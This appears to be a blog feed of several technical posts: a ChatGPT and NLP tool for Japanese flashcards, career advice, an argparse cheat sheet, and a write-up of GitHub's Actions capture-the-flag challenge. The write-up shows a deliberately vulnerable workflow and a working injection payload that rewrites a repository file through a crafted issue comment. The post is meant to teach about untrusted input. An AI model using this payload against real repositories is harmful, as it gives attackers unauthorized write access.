DEV Community: Erry Kostala

How I used NLP and LLM to supercharge my Japanese learning

Erry Kostala — Mon, 19 May 2025 13:40:50 +0000

Introduction

I'm a software engineer and I have been studying Japanese for about a year and a half. In my free time, I've made some tools to help me study. In this post, I want to talk about these tools.

Japanese 101

First of all, I imagine that my audience is mainly Software Engineers and other people mainly interested in the technology aspect, and not many of you speak Japanese or are studying Japanese. So I need to explain a few basic things about the Japanese language that will help you understand the reasoning behind the code I wrote. I'm not a linguist, so I will just try to explain things to the limit of my knowledge.

Japanese has 3 writing systems, two of which (Hiragana and Katakana) are a syllabary, and one of which is pictographs (in particular, Chinese letters - Kanji). Each Kanji has a meaning (what the character means) as well as one or more readings (what sounds correspond to the character). In english, the letter 'a' doesn't mean anything on its own. But in Japanese, the kanji 本 means "book", "origin", and a few other things depending on the context.

If you see that kanji and you have never seen it before, you will not be able to read it, and you also won't know what it means. So when you are learning, you care about both the reading and the meaning of each word.

Typically, hiragana is used to replace kanji to show the reading of new words. So the sentence 本(book)を(object marking particle) 読む(read) ("to read a book") could be written as ほん(book)を(object marking particle)よむ(read). The advantage of this way of writing is that you can use your existing knowledge of Hiragana and Katakana (only 92 characters, which you need to learn very early on), to learn the reading of new kanji.

These characters will often be added on top of kanji (called furigana ) to aid in reading, this is an example image.

Now that I have covered this, I want to cover a few things about learning Japanese.

Tools for learning Japanese

A popular study application used by learners of Japanese (but also by students of other subjects) is Anki. This is an application with which you can make flashcards, a selection of which you can study each day. The order and frequency in which flash cards are presented is chosen by an advanced Spaced Repetition Study (SRS) ensuring you study as efficiently as possible to retain knowledge longer.

Typically I make my Anki flashcards using three fields

Sentence:
The original sentence

Reading:
The sentence annotated with furigana

Meaning:
The English meaning

For example, the below image is a flash card for the sentence that I mentioned earlier

And here's what the flash card will look like when studying and when checking the answer

As you can see, by adding furigana in brackets [] next to the kanji, I can annotate the reading. So by entering 本[ほん] the reading ほん will appear above the kanji 本.

Automating the flash card making process. (ChatGPT stuff begins!)

Making flash cards, especially inputing the reading and meaning, is a time consuming process. I wanted to build an application that allowed me to paste or type in a Japanese sentence (from Manga, Anime, News, etc.) and generate the flash card for me.

Enter ChatGPT.

I made a simple Node.js backend which retrieves a Japanese sentence and returns three fields.

{"sentence": "本を読む",
"reading": "本[ほん]を 読[よ]む",
"meaning": "to read a book"
} # The space is necessary to correctly insert the furigana inside Anki

The backend uses ChatGPT with the following code

  # anki card format
  const AnkiCard = z.object({
    sentence: z.string(),
    reading: z.string(),
    meaning: z.string(),
  });

  # System prompt
  const STARTING_PROMPT = `You will receive a japanese sentence. You are to return ONLY RAW PLAINTEXT JSON of the following:
  1. ** sentence**: Present each sentence with kanji as typically used, always inserting kanji where applicable even if omitted by the user.
  2. **reading**: Display the sentence with furigana formatting compatible with Anki, by adding readings in brackets next to the kanji.
  Ensure a single regular full-width space ALWAYS precedes each kanji. Even if the kanji is at the start of the sentence, the space should still be applied.
  For example, "わたしは 食[た]べます". or at the start of a sentence: " 食[た]べます"
  3. **meaning **: Provide an English translation of each sentence, including necessary explanations to accurately convey the meaning.
  Direct translation isn't required, but the essence of the message should be clear.
  Your responses will automatically generate the required information for effective Anki Deck cards for each sentence without user confirmation or additional prompts. 
  You are adept at handling sentences across various  contexts, supporting users from beginner to advanced levels. 
    You provide RAW TEXT JSON only, as the text will be parsed by an app!`;

  const SYSTEM_MESSAGE = {
    "role": "system",
    "content": STARTING_PROMPT
  }

  const existingConversation = [
      SYSTEM_MESSAGE,
  ];

  # Sentence to convert
  existingConversation.push({
    "role": "user",
    "content": text
  })

  const response = await openai.chat.completions.create({
    model: ANKI_MAKER_MODEL,
    messages: existingConversation,
    response_format: zodResponseFormat(AnkiCard, "anki-card"),
  });

Once I send my prompt and the user's sentence to ChatGPT, I use my custom zodResponseFormat to get the data back in JSON rather than human language. Then I simply return it to the user.

   res.json({
    prompt: text,
    reply: {
      reading: parsed.reading,
      sentence: parsed.sentence,
      meaning: parsed.meaning,
    }
  });

And here's it working in real time:

After that, I built a very basic frontend for it

And finally I added a feature to download a CSV of the sentences, which can then be dragged and dropped into Anki.

Automating further (The python/NLP stuff!)

The process of creating flash cards consists of reading text, spotting words I don't know, and then using my API above to create flash cards.

As a learning project, I wanted to automate the first two parts of the process as well. I generally don't think that's something one should do, because reading and finding new words on your own is an important part of learning. Nevertheless, if I ever wanted to be lazy, I needed a way to automate the whole process up to the creation of the flashcard, leaving me with just the task of studying from the card.

The project could be broken down in the following steps.

Find some Japanese sentences. I could scrape news websites for easy access to some real Japanese.
Find sentences that contain words I don't already have in my Anki deck. This is important, because I don't want to create thousands of duplicated cards every time I run the script, nor do I want to create thousands of cards with no learning value to me.
Use my API to create the anki-formatted flash cards (this is simple, just an API call)
Add the cards to Anki (again this can be done with just an API call)

The challenging parts would be 1 and 2 as 3 and 4 were just API calls.

Scraping the news

Turns out this was pretty simple. Given a news article, all I had to do was to use Beautiful Soup to extract the text.

def scrape_news_article(url):
    """
    Scrapes a Japanese article for its title and content.
    Returns a dictionary with 'title' and 'content'.
    """
    headers = {
        "User-Agent": USER_AGENT,
    }
    try:
        response = requests.get(url, headers=headers, timeout=30)
        response.raise_for_status()
    except requests.RequestException as e:
        logger.error(f"Error fetching the article: {e}")
        return None

    soup = BeautifulSoup(response.content, "html.parser")

    # Find the title
    title_tag = soup.find("h1")
    title = title_tag.get_text(strip=True) if title_tag else "No title found"

    # Find the content
    content_tag = soup.find("div", id="js-article-body")
    content = content_tag.get_text(strip=True) if content_tag else "No content found"

    return {"title": title, "content": content}

Getting my existing list of Anki cards

Using the 'Anki Connect' extension, I got a list of every single card in the deck.

def get_anki_sentences(deck_name=None):
    """
    Fetches sentences from Anki via AnkiConnect API.
    Optionally filters by deck name.
    Returns a list of sentences (strings).
    """
    # Find note IDs in deck
    query = {"action": "findNotes", "version": 6, "params": {}}
    if deck_name:
        query["params"]["query"] = f"deck:{deck_name}"
    else:
        query["params"]["query"] = ""

    response = requests.post(ANKI_SERVER, json=query, timeout=60)
    note_ids = response.json().get("result", [])
    if not note_ids:
        logger.error(f"No notes found in deck '{deck_name}'")
        return []

    logger.info(f"Found {len(note_ids)} notes in deck '{deck_name}'")
    # Fetch note info
    notes_query = {"action": "notesInfo", "version": 6, "params": {"notes": note_ids}}

    notes_response = requests.post(ANKI_SERVER, json=notes_query, timeout=60)
    notes = notes_response.json().get("result", [])
    # Extract sentences (assume field named 'Sentence' or use first field)

    sentences = []
    for note in notes:
        fields = note.get("fields", {})
        if "Sentence" in fields:
            value = fields["Sentence"]["value"]
            value = strip_tags(value)
            sentences.append(value)
        elif fields:
            first_field = next(iter(fields.values()))
            value = first_field["value"]
            value = strip_tags(value)
            sentences.append(value)
    return sentences

Extracting the words

As I mentioned, I only care about sentences that contain words that don't already exist in my deck. In very simple terms I had 2 sets:
existing_words - every word from every sentence in my deck, new_words - every word from every sentence in the article. Then all I had to do was to subtract the decks.
But wait a second, how do you get the sets of words?

Even in English, it's not as simple as splitting the sentence by spaces and other characters such as commas. For example "I eat an apple" could be split into `["I", "eat", "an", "apple"] if you just split by space, but "I ate an apple" would be split into ["I", "ate", "an", "apple"]. This isn't good enough, because "eat" and "ate" are the same word, just conjugated differently. If I simply split by word, I would end up with a lot of cards containing the same words just conjugated differently. Additionally, articles such as "an" are words, but this is clearly not something that should count towards being a word worth learning.

In Japanese, it's even more complicated because you can't just split by spaces. Japanese simply doesn't use spaces between words (although text aimed specifically at young children or foreign learners often does, 'real' Japanese doesn't).

It's clear I'd need to do something clever. Enter NLP.

Using a python module called fugashi, I was able to do the following:

Get the base form of each word - 'ate' and 'eat' would both count as 'eat'
Ignore particles, prepositions, and other words that aren't worth caring about, focusing only on verbs, nouns, and adjectives.
Ignore numbers (10, 20, 300, 3411, etc are all words, but not something worth learning on its own with anki), proper nouns (I don't need to learn the name of some random Japanese politician from Fukuoka, sorry), and foreign words and symbols.
Get a 'neat' list of words from both news articles and my Anki deck and return only sentences containing 'new' words!

This is the code to extract the words I cared about:

`
def extract_vocab(sentences):
"""
Extracts a set of vocabulary words from a list of sentences, filtering by
part of speech. Excludes words that are numbers.

This function uses a morphological tagger to analyze each sentence and
extracts words whose part of speech is either noun ("名詞"), verb ("動詞"), or
adjective ("形容詞").  For each matching word, the lemma (base form) is added
to the vocabulary set if available; otherwise, the surface form is used.

Args: sentences (Iterable[str]): A list or iterable of sentences to process.

Returns: set: A set of unique vocabulary words (lemmas or surface forms)
matching the allowed parts of speech.
"""
# Nouns, verbs, and adjectives
allowed_pos = ("名詞", "動詞", "形容詞")
# Exclulude numbers and proper nouns
excluded_pos2 = ("数", "数詞", "固有名詞")
# Exclude foreign words and symbols
excluded_goshu = ("外", "記号")
tagger = Tagger()
vocab = set()
for sentence in sentences:
    for word in tagger(sentence):
        pos = word.feature.pos1
        if (
            pos in allowed_pos
           and word.feature.pos2 not in excluded_pos2
           and word.feature.goshu not in excluded_goshu
        ):
            logger.debug(f"Word: {word.surface}, feature {word.feature}")
            # Use lemma if available (for base form comparison)
            vocab.add(word.feature.lemma or word.surface)
return vocab

And I can use it like so to get the new word sentences:
`
def filter_sentences_by_new_words(new_sentence_list, existing_sentence_list):
"""
Filters sentences from new_sentence_list that contain words not present in
existing_sentence_list. Also returns the new words found in each sentence.

Args: new_sentence_list (list of str): List of sentences to filter.
existing_sentence_list (list of str): List of sentences representing known
vocabulary.

Returns: list of tuples: Each tuple contains (sentence, set of new words)
where the set contains words in the sentence not found in the vocabulary
extracted from existing_sentence_list.
"""
known_vocab = extract_vocab(existing_sentence_list)
results = []
for sentence in new_sentence_list:
    sentence_vocab = extract_vocab([sentence])
    new_words = sentence_vocab - known_vocab
    if new_words:
        results.append((sentence, new_words))
return results

Putting it all together

After making this code, it was just a POST request to create my flash cards. And what do you know, it worked!

If you want to see the code behind this check out https://github.com/errietta/card-miner/tree/main and https://github.com/errietta/ankimaker-backend/tree/main as well as a video I made about the whole process

https://www.youtube.com/watch?v=qFLuKbm0hZY

I hope you have enjoyed this deep dive into languages, both human and computer and have got something useful from it!

How to be proactive as a Software Engineer

Erry Kostala — Tue, 28 Jan 2025 11:57:49 +0000

Introduction

As technical leaders, it is our job to solve problems proactively, without someone telling us what to do. This can be challenging as it requires to get out of the "problem solving" mindset, which comes naturally to us, and take a step back to the "problem space understanding/problem finding" mindset. However, it is necessary to advance in our career.

Anticipate Problems Before They Arise

Don't wait for issues to surface. Regularly review your code and that of your peers to identify potential pitfalls. Implement comprehensive testing and consider edge cases during development. By foreseeing challenges, you can address them proactively, reducing future technical debt.

Communicate Effectively

As engineers, we might feel that frequent updates are unnecessary, especially if we’re deeply involved in the project. However, stakeholders who are less hands-on require regular updates to stay informed. Even if they don’t explicitly ask for updates, it’s good practice to provide a summary of progress at least once a week. If something is going to take longer than expected—even by a small amount—inform them as soon as you know. While this may feel excessive to us, it’s often the right level of communication for stakeholders.

Additionally, if someone doesn’t respond to a message or question, don’t hesitate to follow up. You’re not being annoying; senior people in the company are busy and may have missed your question. It’s perfectly fine to request an acknowledgment, such as: “If you can’t get back to this today, can you please let me know a timeline so I can inform my team?” Remember, it’s also part of their job to support you.

Seek Feedback and Act on It

When you’re a junior engineer, feedback often comes directly from your manager or lead. As you grow into a senior role, you need to take the initiative to seek feedback proactively. Regularly ask your peers, mentors, and stakeholders for input on your work. Acting on this feedback not only improves your performance but also demonstrates a willingness to grow and adapt.

Document, Mentor and Collaborate

If you’ve worked on something new or had to dig through complex code to figure something out, document your findings. This makes it easier for the next person tackling the same issue. Writing documentation is an investment that saves time for everyone in the future.

For teams with junior members, consider setting up regular one-on-one sessions to share your knowledge. For example, you might say, “This week, I refactored the payments logic. Would you like me to walk you through what I did and what I learned?” These sessions are meaningful learning opportunities for both you and your teammates, fostering collaboration and a culture of continuous improvement.

Summary

In summary, being a technical leader in a senior position is less "how to do" and more "how to avoid future issues". However, this doesn't mean you have to do it alone. You are perfectly in the right to ask for what you need from others and help each other within your team.

What are your tips for staying proactive as a senior leader? Please let me know!

How to get the best job offer for senior+ software engineer roles

Erry Kostala — Mon, 15 Aug 2022 14:55:00 +0000

Navigating "senior+" job interviews

I recently did a round of job interviews. I'm on the top end of the Senior Software Engineer band, and I was looking for other "top of senior" or Staff Software Engineer roles. At the end of the interview process I had two job offers, although I believe I could have had more if I was more focussed on interviews after I already had those two offers and if I had more time. The interview process is sometimes difficult to navigate and it definitely took me some time to get right.

Because of this, I wanted to share my experience with people who are curious as to what interviews for Senior Software Engineer (or above) positions look like, or what those roles require from candidates.

A few stipulations/disclaimers before I get to it:

This is based on my experience in London (UK). Salaries and job titles vary per company and per location.
I can't promise any particular results in terms of job offers due to reading this blog post.
This is my opinion, and not the opinion of my employer. This is based on my interview experience and does not necessarily reflect my current role or compensation.
YMMV.

Pieces of the Puzzle

Ok then, let's get to it!

The job interview process typically consists of several different stages. Some companies will have multiple interviews across multiple days, while some while 'compress' it into a shorter process. Even if the process itself is across fewer days, the actual stages involved have been the same in my experience. These stages are as following (not necessarily in this order):

CV/Apply to the role
Initial call with a recruiter
Introduction with the hiring manager (this part may be skipped or done as part of another call)
Coding test
Architecture/Systems design test
Situational (STAR) interview
Final stage/Values interview

I will break down these steps in this blog post, and try to explain what kind of skills are desired in those steps from senior engineers.

CV & Application

Writing a CV is probably a whole art on its own, and I'm probably not best placed to say what makes a great CV or not, but I can say what has worked for me. By the way, here is mine if you want some inspiration.

Intro

Put a short paragraph at the top introducing yourself, what you bring to the table, and what you want from your next role. This is mine:

I am a senior software engineer with 8 years of experience. I am skilled in designing reliable and performant systems, integrating with third parties, and building solutions from the ground up. In my next role, I am looking for a role that will allow me to grow into a Staff Engineer or Architect position.

💡Take a look at the "Elevator pitch" section later in this blog post as a lot of the same rules for that apply here.

Experience

Add your experience to your CV. Usually this is in order of recency, but if a past role is more relevant to what you are applying for, you could bend the rules and go order of relevance.

People like to see impact and results for more senior roles. Speak about projects you've led, initiatives you've taken, and the impact you've had to the company. Did your work make some part of the application faster? Did it result in your company passing a pentest? Did it result in 10 new clients signing up? If you're not sure, this is the time to speak to your PM and figure out! They certainly have (or should have) some way of monitoring the impact of the features you're building.

Education history: To include or not?

Don't get too hang up on your education history. After my first couple of jobs, nobody has asked me about it. I've actually completely removed it from my CV to save space and I haven't noticed any adverse effects from doing so. I actually believe that in some circumstances, including it could be more of a disservice, but that's just an opinion and perhaps something for a different blog post

Talks/Contributions

Speak about things outside of work! For example, I include my talks in my CV. I should actually probably make them more prominent.

Talks, open source contributions, blog posts, are all things you can show your prospective employer to show that you know what you're talking about.

Contrary to popular belief, you don't have to be a very active open source contributor or have no other hobbies outside of coding to get a job - but any public work that you can show is a chance to show off your skills. You can't bring them into your workplace and show them how good you are, so this is the next best thing. Give yourself credit for things you've done that are public and you can display - a lot more things than "active React contributor" are valid here.

You definitely don't have to go out of your way to create out-of-work material to show, just think about things you've already done at the course of your career. Even if you don't have an active Github profile (I don't!), don't sell yourself short, there are other things you may be able to display.

Recruiter/Hiring manager introduction

Whether your introduction call is with the recruiter, the hiring manager, or both, the structure is pretty similar. This stage and the final stage are actually the easiest. Some mild preparation is required, but if you have done a good number of job interviews before, you will be able to do this with your eyes closed.

The questions here usually fall into the following categories:

Who are you?
What can you offer to the company? Why are you a good fit to this particular role?
What can the company offer to you?

Do some cursory research on the company here. Good hiring managers and recruiters will explain the company's industry and mission to you in this stage anyway, but it never hurts if you already know something about the company. Be yourself, and show interest. If something catches your eye on the company's website or social media, don't forget to bring it up - this shows you are interested and observant.

I also recommend thinking about why the particular role or company is a good fit based on your previous experience. This may not be asked in much detail at this stage, but it will be a good weapon in your arsenal for the next stages. Remember that as you go into more senior roles, the job is less about your ability to code and finish tickets, and more about the big picture/higher level stuff: systems design, collaboration with other people, making decisions. For example, maybe you don't have experience across the whole of the company's stack, but you have lead projects and mentored engineers in your previous couple of jobs - this is a good thing to talk about when introducing yourself.

Finally, what can the company offer to you? This one goes both ways. They will almost certainly ask about the kind of compensation you are looking for. I recommend asking for their salary range and deciding whether or not that is within your desired salary. Do not give them your current salary and do not give a specific number that you're looking for. Just ask for the range and tell them if that range is appropriate for you. The other part of this question, is actually the questions you ask the company. Write down some questions in advance and ask them when they allow you to (typically towards the end of the interview). These questions should help you decide whether the company would be a good fit and offer what you need - career progression, learning opportunities, company growth/funding stage are all very good questions to ask here.

The elevator pitch

Definitely prepare an "elevator pitch" for yourself before going into the intro call; I can guarantee the first question you are going to be asked at every stage is "tell me about yourself". This is a 60 second question and the beauty of it is that you can recycle it for every stage and sometimes even for different companies. I usually structure mine like this:

What is my current job title?
What kind of responsibilities have I had at my job?
What am I looking for in my next role?

This gives the interviewer a good picture of who you are and why you've applied to this job. Bringing it all together, here's mine:

My name is Erry. I am currently a Senior Software Engineer at Monsters, Inc. As part of my role, I'm leading the identity services team and in particular the Single Sign On project. In my next role, I am looking for a job that will allow me to grow into a Staff Software Engineer or Architect position.

Short, concise, and gets the point across. You really don't have to overthink this one, but you do have to be prepared for it.

Coding test

Congratulations, you've officially got your spot in the pipeline! Now it's all about proving that you can do the job.
The coding test is the hardest to talk about, because every company does it their own way. Some companies do a pair programming exercise, some companies give you a timed task to complete, and some others give you a prompt with a task to return to them.

You may or may not know what the exact exercise will be before that time, so it's hard to know exactly what to prepare.

I recommend using the previous stage(s) of the interview to really understand the company and some of the problems they may have, and try to get an idea of the kind of problem they may face day-to-day. However, the problem in the coding test may not necessarily be connected to the company's actual problems.

I'm not going to go into leetcode or CS algorithm questions because I've not done a CS degree (my degree was called "web development" and had a lot of practical PHP/Javascript projects rather than traditional CS theory) and I don't use these algorithms for my job. If the company you're applying to wants you to solve a CS algorithm problem, then all you can do is study and practice (and ask yourself whether you want to be engaging with companies that have such hiring questions to begin with).

However, most coding tests I've taken have been more practical day-to-day problems that can be solved without memorising algorithms or theory. In that case, this is what you should focus on your test, whether it's a live test or a test you're doing at home:

Are you following best practices for your job?
Are there things you would be doing if you had more time (for example better/more tests)?
What is the performance of your code like? This can be things like "big O notation" but recognising things like how long database queries take
How would you "scale up" your code? Could it handle 100k users? 1 million users?
How do you interact with the team if you're doing a pair programming exercise? Are you asking them questions? Are you using them as a resource?

Architecture test

This is similar to the coding test in that you don't know what you're getting until you get there. Usually this is done live, with a person at the other end giving you the prompt and being there to chat you through the idea. In the good old days of in-office interviews, this would probably be done on a whiteboard.

My one recommendation here is: study and practice.
Here are things to focus on while preparing:

Go back to the questions you hopefully asked in the previous stages about the company. What kind of problems could they be facing? If you can use their product (app/website) this is a great time to use that to your advantage: pick some of the problems they are solving with their product and think about how you would design those features. Even if their product is not public facing, it's worth asking if you can get an account to try the product out - sometimes interviewers can arrange for that, and it gives you bonus gold stars for caring about the product!
Don't just talk about how you're solving the problem, but also why you're solving it that way. Expect every decision you take to be put under the microscope and have to be justified. Sometimes there is no right or wrong answer, and you just have to be able to explain why you took your decisions.
Ask your interviewer if there are any limitations or functional requirements for your architecture. Sometimes you have pretty much free rein in your design, and sometimes they will tell you that you have to function within the AWS ecosystem and use a particular database system, for example.
Communicate things that you would normally do if you had more than one hour to do your design. For example: "this is when I would normally do cost analysis".
Be ready to go for the simplest solution first, but always keep the question of "how would I improve this" at the back of your mind, because that question will almost certainly be asked.
Think about the performance and security factors of everything you are designing. Even if you don't work with a very highly scalable system, this is a good time to read up on design principles such as domain driven design, CQRS, and distributed/event driven systems.

My honest view here is that you are most likely going to fail the first few architecture interviews you do. Keep a note for what they ask for, and think about how you can prepare in the future. Maybe spend some time designing diagrams as practice for your next interviews. Think about your current job and how you would re-design the architecture of a particular feature if you were starting over. Keep a list of all the things you could not answer, and don't be afraid to ask for their feedback after the interview. All of this will help you get to a point where you can ace these kind of interviews.

Situational (STAR) interview

The format

Welcome to what is, in my opinion, the hardest part of the interview. Sometimes this is the first step, other times it's the last.

While it may be possible to pass the architecture interview without much prep if you've been doing the job for a long time, this interview absolutely needs preparation up ahead. And much like the architectural interview, you're very unlikely to get this format right from the get-go. It took me several interviews before I was comfortable answering these kind of situational questions without panicking and sweating. It took me even longer before I found it easy and I did a decent or even great job at them.

If you don't know what I mean by Situational questions, those are the kind of questions that can be boiled down to "tell me about a situation when...". Sometimes the interviewers are more subtle about it, but luckily I have found that they are usually pretty straight forward. They will likely tell you in advance that it's going to be a situational interview, and they are not necessarily going to try to ask you trick questions or trip you up.

The trick for those kind of questions is to use the STAR framework. The interviewers may tell you this themselves if they're super nice, but in case they don't, it's good to keep this in mind. STAR stands for:

Situation
Task
Action
Result

I found this blog post was a great resource on how to answer these questions, but I will try to explain it here as well.

Each question will take you between 3-5 minutes to answer. You essentially have to scan through many years of experience and find the right example for the question and then condense it down to a format that can be answered in a few minutes.

If this sounds extremely difficult, it's because it is, and that's why you should have 2-3 scenarios that you have prepared in advance and can go back to during the interview. You're never going to be able to prepare for every question that they ask, but the more you do these interviews, the more you will find patterns to the questions and you will be able to adjust what you have already prepared in advance to better fit the specific questions you're being asked.

I eventually tackled this by thinking back to my previous 2 roles, and thinking about 2 or 3 projects that I led: what was required, what went well, what went wrong, and what I would change. Then, I wrote down some scenarios in the STAR (or STARL, the L standing for Learning) format.

Example question

Question:

Tell me about a time that you disagreed with a colleague/a superior

Situation

Here you have to give the context and background of why you were doing the particular piece of work. This can be pretty short, one or two sentences.

We had to resolve some vulnerabilities from a pen test. We had very little time to resolve those as the pen test certification was preventing us from signing a new client. In particular, we were storing tokens in local storage, which meant that if any XSS vulnerability was present, the tokens could be stolen by an attacker.

Task

The question to answer here is "what was your role within the project?" Again this can be pretty concise.

My team lead at the time was accountable for the platform security and I was tasked with implementing their suggestions in the best way possible within the time frame as well as breaking down tasks for other team members.

Action

This is the meat and potatoes of your answer. This is where you are giving your answer to the main question. In this case, where was the disagreement, and how did you handle it?

My team lead proposed replacing tokens that were stored in localstorage to tokens stored in cookies. Doing POST requests with cookies would make us vulnerable to CSRF, however, so they also proposed implementing CSRF protection to prevent that.
I instead proposed a solution where we would not be using cookies for POST requests and instead get a token from a GET request + cookie at page load, then store it in memory.
After talking to my lead and getting their understanding and their concerns about this, I wrote down different scenarios and explained why this solution was just as secure, and also saved us time compared to their solution which required implementing CSRF protection.

Result

This is where you show off the impact of your decision!

The team lead agreed to use my solution. Because of this, we finished the project 7 days quicker than the original solution, we implemented something that was less technically complex, and still passed the pen test.

Learning

What went wrong? What have you learned? What would you have done differently?

Not every project is a success, and even those that are, are not done perfectly. Your interviewer will ask you this question, so be prepared for it.

In my case, I should have pushed back more on the particular project. It was a lot of work that was required of us in a short amount of time and it lead to the team working harder than was healthy for us. I have learned from this and now follow a much leaner approach - I have learned to say "no", push back, and negotiate for an MVP rather than trying to make the impossible happen.

Learn the format

That's it! That's the whole format. Now, as I said earlier, I recommend writing down at least 2 or 3 examples of different projects in this format. Then, record yourself answering the question! It sounds weird, but I think that doing this was what eventually helped me to stop panicking about these questions. By playing back a recording, you can see how long you are taking to answer and can learn to pace yourself. You can also get a better idea of where there may be gaps in your explanation. By doing this, I saw that I wasn't taking as long as I thought, and this gave me the breathing room to stop and think about the question for a few seconds before I answered it, which was also gave me a huge advantage in the interview.

Here are some more example questions that I've been asked:

Tell me about a project you're really proud of
Tell me about a time that you had to deliver a project within a deadline
Tell me about a time that you had to make a compromise
How do you deal with disagreements?
How do you get buy-in?
Tell me about a project where you had impact
What's a mistake you have made in a project?
What have you learned from cross-team work?

And my favourite one:

What's the biggest technical problem your team faces at the moment?
... And why haven't you addressed it?

These questions can be scary, but just be yourself and remember that they are not looking for people who have done very impressive things or people who have done things perfectly. Rather, they are looking for people who know how to have an impact within their team, and for people who can recognise their own mistakes and talk about what they will do differently next time.

Values interview

Congratulations, take a deep breath of relief. You're past the hardest part of the process, and now you just have to be yourself and show why you're such a great person to work with!

Look up the company and what they value, and see why you relate to it. I recommend being honest, because if you hate everything about what the company does, then you probably don't want to work there. This is where you just show them the person behind the CV. Be authentic, and remember what excites you about the role. Sure, more money is good, but there are plenty of companies that can offer that - so why this particular company? Is it the more flexible environment? What about the people you interviewed with? What did you like about them? What are the cool problems that you're really excited to solve?

Be ready to talk to those things, and the job is almost yours.

The offer

If you've done well in every part of the process, then congratulations, you probably have a job offer!
If the recruiter asks to talk to you on the phone after your final stage, then prepare yourself to be offered a job.

However, the process is not over yet! Have you got other interviews that you are close to finishing? Then feel free to ask for more time before you decide. If you have an offer, you can also use that as leverage to speed up your other processes.

Can you negotiate the offer? You can always ask for a higher salary at offer time. I'm not the best to talk about salary negotiations, but I will defer you to this blog post. Always negotiate. Get ready for them to say no, but don't leave money on the table.

Closing

Wow, that was a lot to write. I hope that this helped someone - the process is quite lengthy and in parts needs special preparation, so I'm hoping to provide the kind of resource I wished I could have while doing my interviews.

Let me know if you have any questions, always happy to answer from my experience. And remember, ask for what you deserve!

How I solved github’s actions capture the flag challenge

Erry Kostala — Thu, 01 Apr 2021 16:54:40 +0000

Introduction

First of all, I’m aware it’s April 1st, I was thinking of some joke post but then I remembered that I have an actual serious post I’d like to write, so this is not any kind of joke.

The challenge & repo

A while back, Github posted a capture the flag challenge with github actions. The challenge was to go from having read-only access to write access in a repository.

The repository had only one file, a github actions workflow .github/workflows/comment-logger.yml.

This is the file:

name: log and process issue comments
on:
  issue_comment:
    types: [created]

jobs:
  issue_comment:
    name: log issue comment
    runs-on: ubuntu-latest
    steps:
      - id: comment_log
        name: log issue comment
        uses: actions/github-script@v3
        env:
          COMMENT_BODY: ${{ github.event.comment.body }}
          COMMENT_ID: ${{ github.event.comment.id }}
        with:
          github-token: "deadc0de"
          script: |
            console.log(process.env.COMMENT_BODY)
            return process.env.COMMENT_ID
          result-encoding: string
      - id: comment_process
        name: process comment
        uses: actions/github-script@v3
        timeout-minutes: 1
        if: ${{ steps.comment_log.outputs.COMMENT_ID }}
        with:
          script: |
            const id = ${{ steps.comment_log.outputs.COMMENT_ID }}
            return ""
          result-encoding: string

So how could that github action be taken advantage of to gain repository write access?

Reading up

Github had provided some useful reading material and the first thing I stumbled across was the untrusted input documentation. When using user input in an action, it’s important to not evaluate the value as code.

I quickly realised that this was being done here:

COMMENT_BODY: ${{ github.event.comment.body }}
COMMENT_ID: ${{ github.event.comment.id }}

And here: ${{ steps.comment_log.outputs.COMMENT_ID }}

How could I abuse that?

Arbitrary code execution

This line of code was particularly interesting:

const id = ${{ steps.comment_log.outputs.COMMENT_ID }}

Surely if I could set the COMMENT_ID value to some javascript code, that would be executed in the script.

The COMMENT_ID output was not being set, but the previous script was using the comment body to log to the console:

console.log(process.env.COMMENT_BODY)

Could this be used to set COMMENT_ID?

Setting output

It turns out that you can set output by printing a special string to stdout. If I could print ::set-output name=OUTPUT_NAME::VALUE then that would set OUTPUT_NAME to VALUE. Furthermore, because the COMMENT_BODY variable was being set by a user’s arbitrary comment on an issue, I could essentially create a comment with that particular string, and force the output to be set.
I set to work creating an issue and trying to comment on it. The very first thing I tried was ::set-output name=COMMENT_ID::;. That caused a syntax error to happen! This meant that the COMMENT_ID output was indeed being set and executed in that const id = ... line.

Taking advantage of the vulnerability

Since I could execute arbitrary javascript code, could I use that to gain write access to the repo? Well it turns out there was a great attack vector in that github action :

    uses: actions/github-script@v3

The github-script action gives access to an authenticated github client, available at the github variable! This meant that I essentially had access to a github client with write access to the repo! All that was left was figuring out the correct API calls to abuse it.

It took a while, but I eventually wrote a proof of concept that modified README.md in the repository (which was the goal of the CTF):

(async () => {
  const res = await github.repos.getContent({
    "owner": "incrediblysecureinc",
    path: "README.md",
    repo: "incredibly-secure-errietta",
    ref: "refs/heads/main",
  });

  await github.repos.createOrUpdateFileContents({
    owner: "incrediblysecureinc",
    repo: "incredibly-secure-errietta",
    path: "README.md",
    message: "editing",
    content: "SSBkaWQgaXQ=",  // base64 for "I did it"
    branch: "main",
    "committer.name": "Erry Kostala",
    "committer.email": "YOUR_EMAIL",
    "author.name": "Erry Kostala",
    "author.email": "YOUR_EMAIL",
    "sha": res.data.sha
  });
})();

Now I just needed to make it fit in the set-output line so I could make it an issue comment.
This was the final issue comment:

::set-output name=COMMENT_ID::1;(async()=>{const e=await github.repos.getContent({owner:"incrediblysecureinc",path:"README.md",repo:"incredibly-secure-errietta",ref:"refs/heads/main"});await github.repos.createOrUpdateFileContents({owner:"incrediblysecureinc",repo:"incredibly-secure-errietta",path:"README.md",message:"editing",content:"SSBkaWQgaXQ=",branch:"main","committer.name":"Erry Kostala","committer.email":"email","author.name":"Erry Kostala","author.email":"email",sha:e.data.sha})})();

With this well-crafted comment, I watched the github action run

And.. success! I exploited a vulnerability to arbitrarily change the contents of a file in the repo, all by just commenting on an issue!

Conclusion

I think this CTF illustrates how important it is to be extremely careful with user input. Never trust arbitrary input in your scripts, use methods to escape it and think twice as to whether it’s actually necessary to use that input in your code. The github actions untrusted input article also has some remediation suggestions to prevent this from happening.

Python argparse cheat sheet

Erry Kostala — Wed, 10 Jun 2020 13:53:27 +0000

I have a confession to make: I never remember how to use argparse. Maybe it’s because I don’t use it often enough to have how it works memorized, but I certainly use it often enough that I’m annoyed every time I have to look it up. Argparse? More like ARGHparse. Either way, I thought I would make a handy cheat sheet that can be quickly looked up rather than reading the documentation.

Read a single argument with a value

parser.add_argument('--id', type=int, nargs=1)

Read a single argument with a default

parser.add_argument('--id', type=int, nargs='?', default=0)

Read a flag (boolean) argument

parser.add_argument('--delete', nargs='?', const=True, default=False)

Read multiple arguments

parser.add_argument('--ids', type=int, nargs='+')

Required arguments

parser.add_argument('--id', type=int, nargs=1, required=True)

That should cover the common use cases, hope this has been helpful for someone other than me!

Documenting a Django API with OpenAPI and Dataclasses

Erry Kostala — Thu, 30 Apr 2020 19:21:11 +0000

Django makes it easy to quickly spin up APIs and provides a great admin interface and command line management tools. It certainly speeds up the development of any CRUD system.

